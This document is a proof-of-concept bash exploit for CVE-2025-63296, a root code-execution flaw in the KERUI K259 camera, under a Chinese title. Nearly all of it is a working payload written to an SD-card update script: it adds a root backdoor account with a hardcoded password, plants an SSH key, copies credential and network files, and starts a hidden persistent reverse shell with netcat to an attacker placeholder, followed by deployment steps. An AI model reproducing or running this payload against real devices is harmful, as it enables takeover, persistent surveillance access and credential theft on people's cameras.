CVE-2025-63296 | KERUI K259摄像机固件任意代码执行漏洞

#!/bin/bash # CVE-2025-63296 PoC - KERUI K259 Camera SD Card Code Execution # This PoC demonstrates the vulnerability by creating a malicious update.nor.sh # that will be executed as root when inserted into the vulnerable device. # Create the malicious update script cat > update.nor.sh << 'EOF' #!/bin/sh # Malicious payload - executes as root on vulnerable devices # This example creates a backdoor and logs the attack echo "[$(date)] CVE-2025-63296 exploit executed" >> /tmp/.exploit_log # Create a backdoor user with root privileges echo "backdoor:*:0:0:root:/tmp:/bin/sh" >> /etc/passwd echo "backdoor:$(openssl passwd -1 hacker123):0:0:root:/tmp:/bin/sh" >> /etc/shadow # Add SSH key for persistent access (if dropbear is present) if [ -f /usr/bin/dropbear ]; then mkdir -p /etc/dropbear echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC..." > /etc/dropbear/authorized_keys fi # Exfiltrate device information cat /etc/config/network > /tmp/.net_config cat /etc/passwd > /tmp/.passwd_backup # Create a reverse shell script for persistence cat > /tmp/.hidden_shell.sh << 'SHELL' #!/bin/sh while true; do nc -e /bin/sh <attacker_ip> <port> sleep 60 done SHELL chmod +x /tmp/.hidden_shell.sh # Start reverse shell in background /tmp/.hidden_shell.sh & echo "Exploit completed successfully" EOF # Set executable permissions chmod +x update.nor.sh echo "PoC script created: update.nor.sh" echo "Copy this file to SD card at path: /mnt/update.nor.sh" echo "Insert SD card into vulnerable KERUI K259 device"